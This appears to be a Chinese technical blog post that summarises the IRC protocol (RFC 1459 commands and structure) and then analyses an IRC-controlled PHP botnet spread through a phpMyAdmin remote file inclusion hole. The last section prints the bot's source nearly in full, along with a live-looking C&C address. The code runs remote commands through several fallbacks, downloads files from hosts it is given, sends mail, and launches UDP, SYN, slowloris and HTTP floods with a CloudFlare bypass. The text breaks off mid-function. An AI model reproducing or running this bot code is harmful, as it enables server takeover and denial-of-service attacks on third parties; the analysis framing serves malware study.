cataloguephp
0. Abstract 1. INTRODUCTION 2. 通訊協議Connection Registration Action 3. 通訊協議Channel operations Action 4. 通訊協議Heart Beat Action 5. 示例代碼 6. 基於IRC的中控網絡
0. Abstracthtml
The IRC protocol was developed over the last 4 years since it was first implemented as a means for users on a BBS to chat amongst themselves. Now it supports a world-wide network of servers and
clients, and is stringing to cope with growth. Over the past 2 years, the average number of users connected to the main IRC network has grown by a factor of 10.
The IRC protocol is a text-based protocol, with the simplest client being any socket program capable of connecting to the server.node
Relevant Link:nginx
http://www.rfc-editor.org/rfc/rfc1459.txt https://zh.wikibooks.org/zh-cn/IRC
1. INTRODUCTIONgit
The IRC protocol has been developed on systems using the TCP/IP network protocol, although there is no requirement that this remain the only sphere in which it operates.
IRC itself is a teleconferencing system, which (through the use of the client-server model) is well-suited to running on many machines in a distributed fashion. A typical setup involves a single process(the server) forming a central point for clients (or other servers) to connect to, performing the required message delivery/multiplexing and other functions.github
0x1: Serversshell
The server forms the backbone of IRC, providing 數據庫
1. a point to which clients may connect to to talk to each other 2. and a point for other servers to connect to 3. forming an IRC network.
The only network configuration allowed for IRC servers is that of a spanning tree where each server acts as a central node for the rest of the net it seesapache
[ Server 15 ] [ Server 13 ] [ Server 14] / \ / / \ / [ Server 11 ] ------ [ Server 1 ] [ Server 12] / \ / / \ / [ Server 2 ] [ Server 3 ] / \ \ / \ \ [ Server 4 ] [ Server 5 ] [ Server 6 ] / | \ / / | \ / / | \____ / / | \ / [ Server 7 ] [ Server 8 ] [ Server 9 ] [ Server 10 ] : [ etc. ]
0x2: Clientsjson
A client is anything connecting to a server that is not another server. Each client is distinguished from other clients by a unique nickname(登陸時根據nickname註冊代表身份) having a maximum length of nine (9) characters. See the protocol grammar rules for what may and may not be used in a nickname. In addition to the nickname, all servers must have the following information about all clients:
1. the real name of the host that the client is running on 2. the username of the client on that host 3. and the server to which the client is connected.
0x3: Operators
To allow a reasonable amount of order to be kept within the IRC network, a special class of clients (operators) is allowed to perform general maintenance functions on the network.
Operators should be able to perform basic network tasks such as
1. disconnecting 2. reconnecting servers as needed to prevent long-term use of bad network routing. 3. force/KILL: A more controversial power of operators is the ability to remove a user from the connected network, operators are able to close the connection between any client and server. 4. PING/PONG: Heart Beat 5. KICK: Eject a client from the channel 6. MODE: Change the channel's mode 7. INVITE: Invite a client to an invite-only channel (mode +i) 8. TOPIC: Change the channel topic in a mode +t channel
0x4: Channels
A channel is a named group of one or more clients which will all receive messages addressed to that channel.
1. The channel is created implicitly when the first client joins it 2. and the channel ceases to exist when the last client leaves it. 3. While channel exists, any client can reference the channel using the name of the channel.
Channels names are strings (beginning with a '&' or '#' character) of length up to 200 characters. Apart from the the requirement that the first character being either '&' or '#'; the only restriction on a channel name is that it may not contain any spaces(' '), a control G(^G or ASCII 7), or a comma (',' which is used as a list item separator by the protocol).
There are two types of channels allowed by this protocol.
須要明白的,應用層通訊協議是一個很"鬆散"的文本交互過程,理論上,Bot Client - Bot Server能夠搭載任意的網絡協議(包括SSL)進行通訊
2. 通訊協議Connection Registration Action
命令是用來註冊一個鏈接到irc服務器上,做爲一名用戶或者另外一臺server,固然也包括正確的斷開鏈接,下面是客戶端推薦的註冊命令執行順序
Pass message
Nick message
User message
0x1: Password message
Command: PASS Parameters: <password> /* Example: PASS secretpasswordhere */ PASS 命令是用來鏈接時設置一個鏈接密碼的。密碼必須在任何鏈接試圖鏈接服務器以前設置好。當前要求的是客戶端在發送 NICK/USER 命令前發送PASS,其餘服務器鏈接在發送任何服務器指令前發送PASS命令 Numeric Replies: ERR_NEEDMOREPARAMS ERR_ALREADYREGISTRED
0x2: Nick message
Command: NICK Parameters: <nickname> [ <hopcount> ] /* Example: NICK Wiz ; Introducing new nick "Wiz". :WiZ NICK Kilroy ; WiZ changed his nickname to Kilroy. */ NICK 命令是用來給予用戶一個暱稱或者修改以前的暱稱。 <hopcount> 參數只是服務器用來標識這個暱稱離服務器有多遠。本地鏈接的 hopcount就是0.若是一個NICK 信息到達了一臺已經存在一個這個暱稱的服務器上,就會發生nickname衝突。發生nickname衝突後,全部是這個nickname的對象會被從服務器的數據庫上移除,而且一個 KILL命令被髮送到全部服務器上移除這個nickname。若是一個nickname更改出發了這個衝突,則已經存在的這個nickname也會被移除 Numeric Replies: ERR_NONICKNAMEGIVEN ERR_ERRONEUSNICKNAME ERR_NICKNAMEINUSE ERR_NICKCOLLISION
0x3: User message
Command: USER Parameters: <username> <hostname> <servername> <realname> /* Examples: USER guest tolmoon tolsun :Ronnie Reagan ; User registering themselves with a username of "guest" and real name "Ronnie Reagan". :testnick USER guest tolmoon tolsun :Ronnie Reagan ; message between servers with the nickname for which the USER command belongs to */ USER指令是在鏈接開始創建後來詳細說明用戶的username,hostname,servername,realname的。USER指令也被server之間用來通訊用來通告一個新的用戶鏈接上了服務器,只有當client的USER和NICK指令抵達服務器後才完成了註冊鏈接的步驟 服務器之間的USER指令必須以客戶端的NICKname開頭。通常狀況下hostname和servername在服務器明確知道這是一個client發過來的USER指令的時候,他們都會被忽略,但他們在服務器和服務器之間通訊會被使用到。這就意味着當一個新用戶被通告到其餘服務器時,一個NICK指令做爲USER指令的附屬也會被髮送 須要注意的是realname參數必須放在最後,由於它可能會含有空格字符,而且它必須以一個分號(:)開頭 Numeric Replies: ERR_NEEDMOREPARAMS ERR_ALREADYREGISTRED
0x4: Server message
Command: SERVER Parameters: <servername> <hopcount> <info> /* Example: SERVER test.oulu.fi 1 :[tolsun.oulu.fi] Experimental server ; New server test.oulu.fi introducing itself and attempting to register. The name in []'s is the hostname for the host running test.oulu.fi. :tolsun.oulu.fi SERVER csd.bu.edu 5 :BU Central Server ; Server tolsun.oulu.fi is our uplink for csd.bu.edu which is 5 hops away. */ server指令是用來告訴服務器鏈接上來的是另外一臺服務器。這條指令也能夠用來經過網絡傳輸數據。當一臺新的服務器鏈接到irc服務器網絡後,它的信息會被廣播到整個網絡上。<hopcount>是用來標識服務器之間距離的一種內部標識。對於真個服務器的列表,它有可能被阻止成一個屬性結構的圖譜,可是hostmasks能夠防止這種狀況的發生 SERVER指令在一臺服務器還會註冊時去註冊到一個服務器時被接受,或者已經註冊在服務器上了,想要鏈接到其餘已經註冊在這臺服務器上的服務器時。 Numeric Replies: ERR_ALREADYREGISTRED
0x5: Oper
Command: OPER Parameters: <user> <password> /* Example: OPER foo bar ; Attempt to register as an operator using a username of "foo" and "bar" as the password. */ OPER指令是提供給用戶去獲取管理員權限使用的。提交<user>和<password>參數去獲取這種權限 若是一個client發送一個帶有正確的user和password的OPER指令,服務器就會通知網路上的其餘管理員經過給nickname作"MODE +o操做" OPER指令只能是client發送給服務器 Numeric Replies: ERR_NEEDMOREPARAMS RPL_YOUREOPER ERR_NOOPERHOST ERR_PASSWDMISMATCH
0x6: Quit
Command: QUIT Parameters: [<Quit message>] /* Examples: QUIT :Gone to have lunch ; Preferred message format. */ 一個客戶端的會話能夠經過一個quit指令來終結。服務器必須在收到client的QUIT指令後關閉這個client的鏈接。若是發送了QUIT指令,那麼它的默認參數就是這個鏈接的nickname 若是要作網絡分隔,那麼你只須要吧兩個服務器的名字一塊兒同QUIT指令發送過去,服務器名之間經過空格隔開,那麼服務器會自動斷開第二個服務器名的鏈接,而保持第一個服務器名的鏈接 若是客戶端不是由於本身死亡或者發生了socket的EOF異常,那麼客戶端須要發送斷開的理由同QIUT指令一塊兒發往服務器 Numeric Replies: None.
0x7: Server quit message
Command: SQUIT Parameters: <server> <comment> /* Example: SQUIT tolsun.oulu.fi :Bad Link ? ; the server link tolson.oulu.fi has been terminated because of "Bad Link". :Trillian SQUIT cm22.eng.umd.edu :Server out of control ; message from Trillian to disconnect "cm22.eng.umd.edu" from the net because "Server out of control". */ SQUIT是同來通告服務器的退出和死亡的。若是一臺服務器想同另另外一臺服務器斷開鏈接那麼它必須發送一條SQUIT指令給那臺服務器,參數名就是那臺服務器的名字,而後收到SQUIT命令的服務器就會斷開同它的鏈接 這條指令也會別管理員同來幫助管理整個IRC服務網絡的次序。管理員也會發布一條SQUIT指令給一臺遠程服務器 在管理員執行了對遠程服務器squit後須要填寫<comment>信息,這樣別的管理員就會知道這個事情發生的緣由了。<comment>也能夠填寫一些錯誤或者簡單的信息進去 收到SQUIT指令的服務器應該也同時發送SQUIT信息到鏈接在這臺服務器上的服務器告訴他們發生了什麼 一樣的,也要發送一個QUIT指令到網絡上其餘的服務器上的客戶端告訴他們這個信息。同理,當一個channel因爲分隔丟失了一位成員,那麼他們也應該被髮送一條QUIT指令 Numeric replies: ERR_NOPRIVILEGES ERR_NOSUCHSERVER
Relevant Link:
http://pako.iteye.com/blog/1125561
3. 通訊協議Channel operations Action
0x1: Join message
Command: JOIN Parameters: <channel>{,<channel>} [<key>{,<key>}] /* Examples: JOIN #foobar ; join channel #foobar. JOIN &foo fubar ; join channel &foo using key "fubar". JOIN #foo,&bar fubar ; join channel #foo using key "fubar" and &bar using no key. JOIN #foo,#bar fubar,foobar ; join channel #foo using key "fubar". and channel #bar using key "foobar". JOIN #foo,#bar ; join channels #foo and #bar. :WiZ JOIN #Twilight_zone ; JOIN message from WiZ */ JOIN指令是用戶用來收聽一個指定的頻道時使用的。只有這個client鏈接的服務器才能判斷是否這個client能否加入一個頻道,服務器收到別的服務器的指令後自動添加這個client到頻道里。這種狀況會在以下的條件下發生 1) 這個用戶是被邀請近一個 invite-only的頻道 2) 這個用戶的 nick/username/hostname 不能知足任何一條禁止的條件 3) 若是這是了correct key(password),那麼它必須正確 一旦用戶加入了一個頻道,他會收到這個服務器可以對這個頻道起做用的全部命令。這其中包括,MODE,KICK,PART,QUIT,當還有PRIVMSG/NOTICE.JOIN指須要被廣告到其餘服務器上,這樣其餘服務器就會知道在哪一個頻道里能夠找到這個用戶。這就能夠實現方便的發送PRIVMAS/NOTICE指令到channel的方式了 Numeric Replies: ERR_NEEDMOREPARAMS ERR_BANNEDFROMCHAN ERR_INVITEONLYCHAN ERR_BADCHANNELKEY ERR_CHANNELISFULL ERR_BADCHANMASK ERR_NOSUCHCHANNEL ERR_TOOMANYCHANNELS RPL_TOPIC
0x2: Part message
Command: PART Parameters: <channel>{,<channel>} /* Examples: PART #twilight_zone ; leave channel "#twilight_zone" PART #oz-ops,&group5 ; leave both channels "&group5" and "#oz-ops" */ PART指令是client用來退出一個或者幾個頻道時使用的。 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOSUCHCHANNEL ERR_NOTONCHANNEL
0x3: Mode message
Command: MODE
MODE是IRC中很是重要的指令。它能夠修改username和channel的模式
0x4: Topic message
Command: TOPIC Parameters: <channel> [<topic>] /* Examples: :Wiz TOPIC #test :New topic ;User Wiz setting the topic. TOPIC #test :another topic ;set the topic on #test to "another topic". TOPIC #test ; check the topic for #test. */ TOPIC指令是用來查看或者修改一個頻道的主題的。若是沒有<topic>那麼這個頻道的主題就會被返回。若是存在<topic>參數,若是頻道權限容許,那麼這個主題能夠被修改 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOTONCHANNEL RPL_NOTOPIC RPL_TOPIC ERR_CHANOPRIVSNEEDED
0x5: Names message
Command: NAMES Parameters: [<channel>{,<channel>}] /* Examples: NAMES #twilight_zone,#42 ; list visible users on #twilight_zone and #42 if the channels are visible to you. NAMES ; list all visible channels and users */ 使用NAMES指令,一個用戶能夠列出一個頻道里全部他們可見的nickname。他們只能查看哪些非+p標誌和+s標誌,或者他麼已經進入的頻道。<channel>參數指定的就是他們想要查看的頻道名。不會由於一個錯誤頻道名而返回錯誤信息 若是沒有<channel>參數被提供,那麼會返回一個全部頻道名和他們佔有人的列表 Numerics: RPL_NAMREPLY RPL_ENDOFNAMES
0x6: List message
Command: LIST Parameters: [<channel>{,<channel>} [<server>]] /* Examples: LIST ; List all channels. LIST #twilight_zone,#42 ; List channels #twilight_zone and #42 */ List指令是用來列出頻道和他們的主題。若是<channel>參數被使用,那麼只有頻道的狀態會被展現。私人頻道只會列出一個 「Prv」標誌會不會顯示他們的主題除非提交這個請求的用戶在這個頻道里。一樣的對與祕密頻道也不會列出除非用戶在那個頻道里。 Numeric Replies: ERR_NOSUCHSERVER RPL_LISTSTART RPL_LIST RPL_LISTEND
0x7: Invite message
Command: INVITE Parameters: <nickname> <channel> /* Examples: :Angel INVITE Wiz #Dust ; User Angel inviting WiZ to channel #Dust INVITE Wiz #Twilight_Zone ; Command to invite WiZ to #Twilight_zone */ INVITE指令是用來邀請一個用戶加入一個頻道的。<nickname>參數就是被邀請人,<channel>就是被邀請進入的頻道。邀請一個用戶進入一個MODE +i(僅邀請頻道)的頻道,邀請人必須是頻道的管理員。 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOSUCHNICK ERR_NOTONCHANNEL ERR_USERONCHANNEL ERR_CHANOPRIVSNEEDED RPL_INVITING RPL_AWAY
0x8: Kick command
Command: KICK Parameters: <channel> <user> [<comment>] /* Examples: KICK &Melbourne Matthew ; Kick Matthew from &Melbourne KICK #Finnish John :Speaking English ; Kick John from #Finnish using "Speaking English" as the reason (comment). :WiZ KICK #Finnish John ; KICK message from WiZ to remove John from channel #Finnish */ KICK指令能夠用來強制的提出一個用戶出一個頻道。只有頻道管理員能夠踢用戶。全部服務器受到KICK指令後須要驗證它的正確性(好比是否發送人是這個頻道的管理員)才能去執行 Numeric Replies: ERR_NEEDMOREPARAMS ERR_NOSUCHCHANNEL ERR_BADCHANMASK ERR_CHANOPRIVSNEEDED ERR_NOTONCHANNEL
Relevant Link:
http://pako.iteye.com/blog/1125561
4. 通訊協議Heart Beat Action
0x1: Ping message
Command: PING Parameters: <server1> [<server2>] /* Examples: PING tolsun.oulu.fi ; server sending a PING message to another server to indicate it is still alive. PING WiZ ; PING message being sent to nick WiZ */ The PING message is used to test the presence of an active client at the other end of the connection. A PING message is sent at regular intervals if no other activity detected coming from a connection. If a connection fails to respond to a PING command within a set amount of time, that connection is closed. Any client which receives a PING message must respond to <server1> (server which sent the PING message out) as quickly as possible with an appropriate PONG message to indicate it is still there and alive. Servers should not respond to PING commands but rely on PINGs from the other end of the connection to indicate the connection is alive. If the <server2> parameter is specified, the PING message gets forwarded there. Numeric Replies: ERR_NOORIGIN ERR_NOSUCHSERVER
0x2: Pong message
Command: PONG Parameters: <daemon> [<daemon2>] /* Examples: PONG csd.bu.edu tolsun.oulu.fi ; PONG message from csd.bu.edu to */ PONG message is a reply to ping message. If parameter <daemon2> is given this message must be forwarded to given daemon. The <daemon> parameter is the name of the daemon who has responded to PING message and generated this message. Numeric Replies: ERR_NOORIGIN ERR_NOSUCHSERVER
5. 示例代碼
https://github.com/LuoZijun/pyirc/blob/master/DOC/IRC%E5%8D%8F%E8%AE%AE%E5%88%86%E6%9E%90%E7%AC%94%E8%AE%B0.rst
6. 基於IRC的中控網絡
0x1: 部署載荷(入侵方式)
經過phpmyadmin的setup.php對象注入漏洞實現RFI(遠程文件包含執行),被攻擊的服務器會執行攻擊者指定的PHP代碼,這一步將WEB漏洞轉化爲肉雞
http://www.cnblogs.com/LittleHann/p/4239944.html
0x2: 上線方式
經過IRC聊天室頻道做爲C&C指令的發起端
$cfg = array( "server" => "104.40.28.250", "port" => "6667", "key" => "", "prefix" => "", "maxrand" => "8", "chan" => "#PMA", "trigger" => ".", "hostauth" => "ddos" );
肉雞客戶端(這裏試運行惡意腳本的被感染服務器)會使用IRC兼容協議格式和IRC聊天室進行通訊,並經過IRC的常規料條Message封裝C&C指令(攻擊者實現了一套自定義的C&C解析格式),惡意腳本經過socket tcp長鏈接不斷嘗試從IRC聊天室獲取C&C指令
0x3: 惡意腳本
<?php $cfg = array( "server" => "104.40.28.250", "port" => "6667", "key" => "", "prefix" => "", "maxrand" => "8", "chan" => "#PMA", "trigger" => ".", "hostauth" => "ddos" ); set_time_limit(0); error_reporting(0); $dir = getcwd(); $uname = @php_uname(); function whereistmP() { $uploadtmp = ini_get('upload_tmp_dir'); $uf = getenv('USERPROFILE'); $af = getenv('ALLUSERSPROFILE'); $se = ini_get('session.save_path'); $envtmp = (getenv('TMP')) ? getenv('TMP') : getenv('TEMP'); if(is_dir('/tmp') && is_writable('/tmp')) return '/tmp'; if(is_dir('/usr/tmp') && is_writable('/usr/tmp')) return '/usr/tmp'; if(is_dir('/var/tmp') && is_writable('/var/tmp')) return '/var/tmp'; if(is_dir($uf) && is_writable($uf)) return $uf; if(is_dir($af) && is_writable($af)) return $af; if(is_dir($se) && is_writable($se)) return $se; if(is_dir($uploadtmp) && is_writable($uploadtmp)) return $uploadtmp; if(is_dir($envtmp) && is_writable($envtmp)) return $envtmp; return '.'; } function srvshelL($command) { $name = whereistmP() . "\\" . uniqid('NJ'); $n = uniqid('NJ'); $cmd = (empty($_SERVER['ComSpec'])) ? 'd:\\windows\\system32\\cmd.exe' : $_SERVER['ComSpec']; win32_create_service(array( 'service' => $n, 'display' => $n, 'path' => $cmd, 'params' => "/c $command >\"$name\"" )); win32_start_service($n); win32_stop_service($n); win32_delete_service($n); while(!file_exists($name)) sleep(1); $exec = file_get_contents($name); unlink($name); return $exec; } function ffishelL($command) { $name = whereistmP() . "\\" . uniqid('NJ'); $api = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);"); $res = $api->WinExec("cmd.exe /c $command >\"$name\"", 0); while(!file_exists($name)) sleep(1); $exec = file_get_contents($name); unlink($name); return $exec; } function comshelL($command, $ws) { $exec = $ws->exec("cmd.exe /c $command"); $so = $exec->StdOut(); return $so->ReadAll(); } function perlshelL($command) { $perl = new perl(); ob_start(); $perl->eval("system(\"$command\")"); $exec = ob_get_contents(); ob_end_clean(); return $exec; } function Exe($command) { $exec = $output = ''; $dep[] = array( 'pipe', 'r' ); $dep[] = array( 'pipe', 'w' ); if (function_exists('passthru')) { ob_start(); @passthru($command); $exec = ob_get_contents(); ob_clean(); ob_end_clean(); } elseif (function_exists('system')) { $tmp = ob_get_contents(); ob_clean(); @system($command); $output = ob_get_contents(); ob_clean(); $exec = $tmp; } elseif (function_exists('exec')) { @exec($command, $output); $output = join("\n", $output); $exec = $output; } elseif(function_exists('shell_exec')) $exec = @shell_exec($command); elseif (function_exists('popen')) { $output = @popen($command, 'r'); while (!feof($output)) { $exec = fgets($output); } pclose($output); } elseif (function_exists('proc_open')) { $res = @proc_open($command, $dep, $pipes); while (!feof($pipes[1])) { $line = fgets($pipes[1]); $output .= $line; } $exec = $output; proc_close($res); } elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $exec = winshelL($command); elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $exec = srvshelL($command); elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $exec = ffishelL($command); elseif(extension_loaded('perl')) $exec = perlshelL($command); return $exec; } class pBot { public $config = ''; public $user_agents = array( "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2", "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)", "Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00" ); public $charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; public $users = array(); public function start($cfg) { $this->config = $cfg; while (true) { if(!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30))) $this->start($cfg); $ident = $this->config['prefix']; $alph = range("0", "9"); for($i = 0; $i < $this->config['maxrand']; $i++) $ident .= $alph[rand(0, 9)]; $this->send("USER " . $ident . " 127.0.0.1 localhost :" . php_uname() . ""); $this->set_nick(); $this->main(); } } public function main() { while (!feof($this->conn)) { if (function_exists('stream_select')) { $read = array( $this->conn ); $write = NULL; $except = NULL; $changed = stream_select($read, $write, $except, 30); if ($changed == 0) { fwrite($this->conn, "PING :lelcomeatme\r\n"); $read = array( $this->conn ); $write = NULL; $except = NULL; $changed = stream_select($read, $write, $except, 30); if($changed == 0) break; } } $this->buf = trim(fgets($this->conn, 512)); $cmd = explode(" ", $this->buf); if (substr($this->buf, 0, 6) == "PING :") { $this->send("PONG :" . substr($this->buf, 6)); continue; } if (isset($cmd[1]) && $cmd[1] == "001") { $this->join($this->config['chan'], $this->config['key']); continue; } if (isset($cmd[1]) && $cmd[1] == "433") { $this->set_nick(); continue; } if ($this->buf != $old_buf) { $mcmd = array(); $msg = substr(strstr($this->buf, " :"), 2); $msgcmd = explode(" ", $msg); $nick = explode("!", $cmd[0]); $vhost = explode("@", $nick[1]); $vhost = $vhost[1]; $nick = substr($nick[0], 1); $host = $cmd[0]; if($msgcmd[0] == $this->nick) for($i = 0; $i < count($msgcmd); $i++) $mcmd[$i] = $msgcmd[$i + 1]; else for($i = 0; $i < count($msgcmd); $i++) $mcmd[$i] = $msgcmd[$i]; if (count($cmd) > 2) { switch ($cmd[1]) { case "PRIVMSG": if ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*") { if (substr($mcmd[0], 0, 1) == ".") { switch (substr($mcmd[0], 1)) { case "mail": if (count($mcmd) > 4) { $header = "From: <" . $mcmd[2] . ">"; if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) { $this->privmsg($this->config['chan'], "[\2mail\2]: failed sending."); } else { $this->privmsg($this->config['chan'], "[\2mail\2]: sent."); } } break; case "dns": if (isset($mcmd[1])) { $ip = explode(".", $mcmd[1]); if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) { $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyaddr($mcmd[1])); } else { $this->privmsg($this->config['chan'], "[\2dns\2]: " . $mcmd[1] . " => " . gethostbyname($mcmd[1])); } } break; case "uname": if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } else { $safemode = "off"; } $uname = php_uname(); $this->privmsg($this->config['chan'], "[\2info\2]: " . $uname . " (safe: " . $safemode . ")"); break; case "rndnick": $this->set_nick(); break; case "raw": $this->send(strstr($msg, $mcmd[1])); break; case "eval": ob_start(); eval(strstr($msg, $mcmd[1])); $exec = ob_get_contents(); ob_end_clean(); $ret = explode("\n", $exec); for($i = 0; $i < count($ret); $i++) if($ret[$i] != NULL) $this->privmsg($this->config['chan'], " : " . trim($ret[$i])); break; case "exec": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = exec($command); $ret = explode("\n", $exec); for($i = 0; $i < count($ret); $i++) if($ret[$i] != NULL) $this->privmsg($this->config['chan'], " : " . trim($ret[$i])); break; case "cmd": $command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1); $exec = Exe($command); $ret = explode("\n", $exec); for($i = 0; $i < count($ret); $i++) if($ret[$i] != NULL) $this->privmsg($this->config['chan'], " : " . trim($ret[$i])); break; case "ud.server": if (count($mcmd) > 2) { $this->config['server'] = $mcmd[1]; $this->config['port'] = $mcmd[2]; if (isset($mcmcd[3])) { $this->config['pass'] = $mcmd[3]; $this->privmsg($this->config['chan'], "[\2update\2]: info updated " . $mcmd[1] . ":" . $mcmd[2] . " pass: " . $mcmd[3]); } else { $this->privmsg($this->config['chan'], "[\2update\2]: switched server to " . $mcmd[1] . ":" . $mcmd[2]); } fclose($this->conn); } break; case "download": if (count($mcmd) > 2) { if (!$fp = fopen($mcmd[2], "w")) { $this->privmsg($this->config['chan'], "[\2download\2]: could not open output file."); } else { if (!$get = file($mcmd[1])) { $this->privmsg($this->config['chan'], "[\2download\2]: could not download \2" . $mcmd[1] . "\2"); } else { for ($i = 0; $i <= count($get); $i++) { fwrite($fp, $get[$i]); } $this->privmsg($this->config['chan'], "[\2download\2]: file \2" . $mcmd[1] . "\2 downloaded to \2" . $mcmd[2] . "\2"); } fclose($fp); } } else { $this->privmsg($this->config['chan'], "[\2download\2]: use .download http://your.host/file /tmp/file"); } break; case "udpflood": if (count($mcmd) > 4) { $this->udpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]); } break; case "tcpconn": if (count($mcmd) > 5) { $this->tcpconn($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "rudy": if (count($mcmd) > 2) { $this->doSlow($mcmd[1], $mcmd[2]); } break; case "slowread": if (count($mcmd) > 3) { $this->slowRead($mcmd[1], $mcmd[2], $mcmd[3]); } break; case "slowloris": if (count($mcmd) > 2) { $this->doSlow($mcmd[1], $mcmd[2]); } break; case "synflood": if (count($mcmd) > 3) { $this->synflood($mcmd[1], $mcmd[2], $mcmd[3]); } case "l7": if (count($mcmd) > 3) { if ($mcmd[1] == "get") { $this->attack_http("GET", $mcmd[2], $mcmd[3]); } if ($mcmd[1] == "post") { $this->attack_post($mcmd[2], $mcmd[3]); } if ($mcmd[1] == "head") { $this->attack_http("HEAD", $mcmd[2], $mcmd[3]); } } break; case "syn": if (count($mcmd) > 2) { $this->syn($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]); } else { $this->privmsg($this->config['chan'], "syntax: syn host port time [delaySeconds]"); } break; case "tcpflood": if (count($mcmd) > 2) { $this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3]); } else { $this->privmsg($this->config['chan'], "syntax: tcpflood host port time"); } break; case "httpflood": if (count($mcmd) > 2) { $this->httpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]); } else { $this->privmsg($this->config['chan'], "syntax: httpflood host port time [method] [url]"); } break; case "proxyhttpflood": if (count($mcmd) > 2) { $this->proxyhttpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]); } else { $this->privmsg($this->config['chan'], "syntax: proxyhttpflood targetUrl(with http://) proxyListUrl time [method]"); } break; case "cloudflareflood": print_r($mcmd); if (count($mcmd) > 2) { $this->cloudflareflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5], $mcmd[6]); } else { $this->privmsg($this->config['chan'], "syntax: cloudflareflood host port time [method] [url] [postFields]"); } break; } } } break; } } } } } public function send($msg) { fwrite($this->conn, $msg . "\r\n"); } public function join($chan, $key = NULL) { $this->send("JOIN " . $chan . " " . $key); } public function privmsg($to, $msg) { $this->send("PRIVMSG " . $to . " :" . $msg); } public function notice($to, $msg) { $this->send("NOTICE " . $to . " :" . $msg); } public function set_nick() { $fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30); if(!$fp) $this->nick = ""; else { fclose($fp); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 30 ) )); $buf = file_get_contents("http://freegeoip.net/json/", 0, $ctx); if(!strstr($buf, "country_code")) $this->nick = ""; else { $code = strstr($buf, "country_code"); $code = substr($code, 12); $code = substr($code, 3, 2); $this->nick = "[" . $code . "]"; } } if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "[WIN32]"; else $this->nick .= "[LINUX]"; if (isset($_SERVER['SERVER_SOFTWARE'])) { if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache")) $this->nick .= "[A]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis")) $this->nick .= "[I]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami")) $this->nick .= "[X]"; elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "nginx")) $this->nick .= "[N]"; else $this->nick .= "[U]"; } else { $this->nick .= "[C]"; } $this->nick .= $this->config['prefix']; for($i = 0; $i < $this->config['maxrand']; $i++) $this->nick .= mt_rand(0, 9); $this->send("NICK " . $this->nick); } public function cloudflareflood($host, $port, $time, $method="GET", $url="/", $post=array()) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - CloudFlare - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)]; $packet = "$method $url HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Keep-Alive: 300\r\n"; $packet .= "Connection: keep-alive\r\n"; $packet .= "User-Agent: $user_agent\r\n"; //Cloudflare Bypass $res = curl($host, null, $user_agent, true); //Cloudflare Bypass if (strstr($res, "DDoS protection by CloudFlare")) { $this->privmsg($this->config['chan'], "[\2CloudFlare detected!...\2]"); //Get the math calc $math_calc = get_between($res, "a.value = ", ";"); if ($math_calc) { $math_result = (int) eval("return ($math_calc);"); if (is_numeric($math_result)) { $math_result += strlen($host); //Domain lenght //Send the CloudFlare's form $getData = "cdn-cgi/l/chk_jschl"; $getData .= "?jschl_vc=".get_between($res, 'name="jschl_vc" value="', '"'); $getData .= "&jschl_answer=".$math_result; $res = curl($host.$getData, null, $user_agent); //Cloudflare Bypassed? if (strstr($res, "DDoS protection by CloudFlare")) { $this->privmsg($this->config['chan'], "[\2CloudFlare not bypassed...\2]"); return false; } else { $bypassed = true; //Cookie read $cookie = trim(get_between(file_get_contents("cookie.txt"), "__cfduid", "\n")); $packet .= "Cookie: __cfduid=".$cookie."\r\n\r\n"; } } } } else { 